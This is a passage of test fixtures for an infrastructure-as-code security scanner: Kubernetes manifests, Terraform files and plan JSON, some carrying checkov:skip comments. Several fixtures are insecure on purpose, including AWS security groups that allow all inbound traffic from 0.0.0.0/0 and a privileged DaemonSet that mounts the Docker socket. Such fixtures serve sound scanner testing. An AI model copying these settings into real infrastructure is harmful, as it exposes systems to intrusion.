- !GetAtt - S3Bucket - DomainName Description: Name of S3 bucket to hold website content ================================================ FILE: tests/common/runner_registry/example_multi_iac/k8/nginx-statefulset-FAILED.yaml ================================================ apiVersion: v1 kind: Service metadata: name: nginx labels: app: nginx spec: ports: - port: 80 name: web clusterIP: None selector: app: nginx --- apiVersion: apps/v1 kind: StatefulSet metadata: name: web spec: selector: matchLabels: app: nginx # has to match .spec.template.metadata.labels serviceName: "nginx" replicas: 3 # by default is 1 template: metadata: labels: app: nginx # has to match .spec.selector.matchLabels spec: terminationGracePeriodSeconds: 10 containers: - name: nginx image: k8s.gcr.io/nginx-slim:0.8 ports: - containerPort: 80 name: web volumeMounts: - name: www mountPath: /usr/share/nginx/html volumeClaimTemplates: - metadata: name: www spec: accessModes: [ "ReadWriteOnce" ] storageClassName: "my-storage-class" resources: requests: storage: 1Gi ================================================ FILE: tests/common/runner_registry/example_multi_iac/k8/scope-PASSED.yaml ================================================ apiVersion: v1 kind: List items: - apiVersion: v1 kind: Namespace metadata: name: weave annotations: cloud.weave.works/version: v1.0.0-269-gffdc830 - apiVersion: v1 kind: ServiceAccount metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope namespace: weave - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope rules: - apiGroups: - '' resources: - pods verbs: - get - list - watch - delete - apiGroups: - '' resources: - pods/log - services - nodes - namespaces - persistentvolumes - persistentvolumeclaims verbs: - get - list - watch - apiGroups: - apps resources: - deployments - daemonsets - statefulsets verbs: - get - list - watch - apiGroups: - batch resources: - cronjobs - jobs verbs: - get - list - watch - apiGroups: - extensions resources: - deployments - daemonsets verbs: - get - list - watch - apiGroups: - apps resources: - deployments/scale verbs: - get - update - apiGroups: - extensions resources: - deployments/scale verbs: - get - update - apiGroups: - storage.k8s.io resources: - storageclasses verbs: - get - list - watch - apiGroups: - volumesnapshot.external-storage.k8s.io resources: - volumesnapshots - volumesnapshotdatas verbs: - list - watch - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope roleRef: kind: ClusterRole name: weave-scope apiGroup: rbac.authorization.k8s.io subjects: - kind: ServiceAccount name: weave-scope namespace: weave - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app template: metadata: labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app spec: containers: - name: app args: - '--mode=app' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4040 protocol: TCP - apiVersion: v1 kind: Service metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: ports: - name: app port: 80 protocol: TCP targetPort: 4040 selector: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-cluster-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent template: metadata: labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent spec: containers: - name: scope-cluster-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=cluster' - '--probe.http.listen=:4041' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4041 protocol: TCP resources: requests: cpu: 25m memory: 80Mi serviceAccountName: weave-scope - apiVersion: apps/v1 kind: DaemonSet metadata: name: weave-scope-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent namespace: weave spec: minReadySeconds: 5 selector: matchLabels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent template: metadata: labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent spec: containers: - name: scope-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=host' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - '--probe.docker.bridge=docker0' - '--probe.docker=true' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent resources: requests: cpu: 100m memory: 100Mi securityContext: privileged: true volumeMounts: - name: scope-plugins mountPath: /var/run/scope/plugins - name: sys-kernel-debug mountPath: /sys/kernel/debug - name: docker-socket mountPath: /var/run/docker.sock dnsPolicy: ClusterFirstWithHostNet hostNetwork: true hostPID: true tolerations: - effect: NoSchedule operator: Exists - effect: NoExecute operator: Exists volumes: - name: scope-plugins hostPath: path: /var/run/scope/plugins - name: sys-kernel-debug hostPath: path: /sys/kernel/debug - name: docker-socket hostPath: path: /var/run/docker.sock updateStrategy: type: RollingUpdate ================================================ FILE: tests/common/runner_registry/example_multi_iac/tf/example.tf ================================================ variable "region" { default = "us-east-1" } variable "VERSIONING_ENABLED" {} resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = var.VERSIONING_ENABLED mfa_delete = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "private" } data "aws_caller_identity" "current" {} resource aws_rds_cluster "rds_cluster" {} resource aws_rds_cluster_instance "rds_cluster_public" { cluster_identifier = "id" instance_class = "foo-bar" publicly_accessible = false } ================================================ FILE: tests/common/runner_registry/example_multi_iac/tf/terraform.tfvars ================================================ VERSIONING = true ================================================ FILE: tests/common/runner_registry/example_s3_tf/main.tf ================================================ resource "aws_s3_bucket" "test" { bucket = "test" } ================================================ FILE: tests/common/runner_registry/plan_module_skip_for_enrichment/mod_ref/main.tf ================================================ resource "aws_s3_bucket" "b1" { bucket = "bc-test-bucket-1" } ================================================ FILE: tests/common/runner_registry/plan_module_skip_for_enrichment/tf/main.tf ================================================ module "m" { # checkov:skip=CKV_AWS_19: ADD REASON # checkov:skip=CKV2_AWS_6: ADD REASON source = "../mod_ref" } ================================================ FILE: tests/common/runner_registry/plan_module_skip_for_enrichment/tf/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.15.5", "variables": { "region": { "value": "us-west-2" } }, "planned_values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.m.aws_s3_bucket.b1", "mode": "managed", "type": "aws_s3_bucket", "name": "b1", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "acl": "private", "bucket": "bc-test-bucket-1", "bucket_prefix": null, "cors_rule": [], "force_destroy": false, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "website": [] } } ], "address": "module.m" } ] } }, "resource_changes": [ { "address": "module.m.aws_s3_bucket.b1", "module_address": "module.m", "mode": "managed", "type": "aws_s3_bucket", "name": "b1", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "bc-test-bucket-1", "bucket_prefix": null, "cors_rule": [], "force_destroy": false, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags_all": true, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "region": { "references": [ "var.region" ] } } } }, "root_module": { "module_calls": { "m": { "source": "../mod_ref", "module": { "resources": [ { "address": "aws_s3_bucket.b1", "mode": "managed", "type": "aws_s3_bucket", "name": "b1", "provider_config_key": "m:aws", "expressions": { "bucket": { "constant_value": "bc-test-bucket-1" } }, "schema_version": 0 } ] } } }, "variables": { "region": { "default": "us-west-2", "description": "The provider region to use" } } } } } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/main.tf ================================================ resource "aws_cloudwatch_log_group" "this" { # checkov:skip=CKV_AWS_158: skip it count = var.create ? 1 : 0 name = var.name name_prefix = var.name_prefix retention_in_days = var.retention_in_days kms_key_id = var.kms_key_id tags = var.tags } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/outputs.tf ================================================ output "cloudwatch_log_group_name" { description = "Name of Cloudwatch log group" value = element(concat(aws_cloudwatch_log_group.this.*.name, [""]), 0) } output "cloudwatch_log_group_arn" { description = "ARN of Cloudwatch log group" value = element(concat(aws_cloudwatch_log_group.this.*.arn, [""]), 0) } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/variables.tf ================================================ variable "create" { description = "Whether to create the Cloudwatch log group" type = bool default = true } variable "name" { description = "A name for the log group" type = string default = null } variable "name_prefix" { description = "A name prefix for the log group" type = string default = null } variable "retention_in_days" { description = "Specifies the number of days you want to retain log events in the specified log group" type = number default = null } variable "kms_key_id" { description = "The ARN of the KMS Key to use when encrypting logs" type = string default = null } variable "tags" { description = "A map of tags to add to Cloudwatch log group" type = map(string) default = {} } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/versions.tf ================================================ terraform { required_version = ">= 0.12.26" required_providers { aws = { source = "hashicorp/aws" version = ">= 2.55" } } } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/main.tf ================================================ module "log_group_external" { source = "terraform-aws-modules/cloudwatch/aws//modules/log-group" version = "2.1.0" } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/providers.tf ================================================ provider "aws" { region = "eu-central-1" } ================================================ FILE: tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.15.1", "planned_values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.log_group_external.aws_cloudwatch_log_group.this[0]", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": {"kms_key_id": null, "name_prefix": null, "retention_in_days": 0, "tags": null} } ], "address": "module.log_group_external" } ] } }, "resource_changes": [ { "address": "module.log_group_external.aws_cloudwatch_log_group.this[0]", "module_address": "module.log_group_external", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": ["create"], "before": null, "after": {"kms_key_id": null, "name_prefix": null, "retention_in_days": 0, "tags": null}, "after_unknown": {"arn": true, "id": true, "name": true, "tags_all": true}, "before_sensitive": false, "after_sensitive": {"tags_all": {}} } } ], "configuration": { "provider_config": { "aws": {"name": "aws", "expressions": {"region": {"constant_value": "eu-central-1"}}}, "module.log_group_external:aws": { "name": "aws", "version_constraint": "\u003e= 2.55.0", "module_address": "module.log_group_external" } }, "root_module": { "module_calls": { "log_group_external": { "source": "terraform-aws-modules/cloudwatch/aws//modules/log-group", "module": { "outputs": { "cloudwatch_log_group_arn": { "expression": {"references": ["aws_cloudwatch_log_group.this"]}, "description": "ARN of Cloudwatch log group" }, "cloudwatch_log_group_name": { "expression": {"references": ["aws_cloudwatch_log_group.this"]}, "description": "Name of Cloudwatch log group" } }, "resources": [ { "address": "aws_cloudwatch_log_group.this", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "this", "provider_config_key": "log_group_external:aws", "expressions": { "kms_key_id": {"references": ["var.kms_key_id"]}, "name": {"references": ["var.name"]}, "name_prefix": {"references": ["var.name_prefix"]}, "retention_in_days": {"references": ["var.retention_in_days"]}, "tags": {"references": ["var.tags"]} }, "schema_version": 0, "count_expression": {"references": ["var.create"]} } ], "variables": { "create": {"default": true, "description": "Whether to create the Cloudwatch log group"}, "kms_key_id": { "default": null, "description": "The ARN of the KMS Key to use when encrypting logs" }, "name": {"default": null, "description": "A name for the log group"}, "name_prefix": {"default": null, "description": "A name prefix for the log group"}, "retention_in_days": { "default": null, "description": "Specifies the number of days you want to retain log events in the specified log group" }, "tags": {"default": {}, "description": "A map of tags to add to Cloudwatch log group"} } }, "version_constraint": "~\u003e 2.0" } } } } } ================================================ FILE: tests/common/runner_registry/plan_with_for_each_for_enrichment/original/main.tf ================================================ locals { hosted_zone_names = [ "example.com", "example2.eu", ] } resource "aws_route53_zone" "example" { for_each = toset(local.hosted_zone_names) # checkov:skip=CKV2_AWS_38 name = each.value } locals { names = ["bad_example", "terrible_example", "awful_example"] } module "sg" { # checkov:skip=CKV_AWS_277 for_each = toset(local.names) name = each.value source = "./modules/ec2/security_group" vpc_id = var.vpc_id } ================================================ FILE: tests/common/runner_registry/plan_with_for_each_for_enrichment/tf_plan.json ================================================ { "format_version": "1.2", "terraform_version": "1.9.5", "planned_values": { "root_module": { "resources": [ { "address": "aws_route53_zone.example[\"example.com\"]", "mode": "managed", "type": "aws_route53_zone", "name": "example", "index": "example.com", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example.com", "tags": null, "vpc": [] }, "sensitive_values": { "name_servers": [], "tags_all": {}, "vpc": [] } }, { "address": "aws_route53_zone.example[\"example2.eu\"]", "mode": "managed", "type": "aws_route53_zone", "name": "example", "index": "example2.eu", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example2.eu", "tags": null, "vpc": [] }, "sensitive_values": { "name_servers": [], "tags_all": {}, "vpc": [] } } ], "child_modules": [ { "resources": [ { "address": "module.sg[\"awful_example\"].aws_security_group.bad", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "awful_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "sensitive_values": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "tags_all": {} } } ], "address": "module.sg[\"awful_example\"]" }, { "resources": [ { "address": "module.sg[\"bad_example\"].aws_security_group.bad", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "bad_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "sensitive_values": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "tags_all": {} } } ], "address": "module.sg[\"bad_example\"]" }, { "resources": [ { "address": "module.sg[\"terrible_example\"].aws_security_group.bad", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "terrible_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "sensitive_values": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "tags_all": {} } } ], "address": "module.sg[\"terrible_example\"]" } ] } }, "resource_changes": [ { "address": "aws_route53_zone.example[\"example.com\"]", "mode": "managed", "type": "aws_route53_zone", "name": "example", "index": "example.com", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example.com", "tags": null, "vpc": [] }, "after_unknown": { "arn": true, "id": true, "name_servers": true, "primary_name_server": true, "tags_all": true, "vpc": [], "zone_id": true }, "before_sensitive": false, "after_sensitive": { "name_servers": [], "tags_all": {}, "vpc": [] } } }, { "address": "aws_route53_zone.example[\"example2.eu\"]", "mode": "managed", "type": "aws_route53_zone", "name": "example", "index": "example2.eu", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example2.eu", "tags": null, "vpc": [] }, "after_unknown": { "arn": true, "id": true, "name_servers": true, "primary_name_server": true, "tags_all": true, "vpc": [], "zone_id": true }, "before_sensitive": false, "after_sensitive": { "name_servers": [], "tags_all": {}, "vpc": [] } } }, { "address": "module.sg[\"awful_example\"].aws_security_group.bad", "module_address": "module.sg[\"awful_example\"]", "mode": "managed", "type": "aws_security_group", "name": "bad", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "Allow all inbound traffic", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 65535 } ], "name": "awful_example", "revoke_rules_on_delete": false, "tags": null, "timeouts": null, "vpc_id": "vpc-123456abc" }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "name_prefix": true, "owner_id": true, "tags_all": true }, "before_sensitive": false, "after_sensitive": { "egress": [], "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] 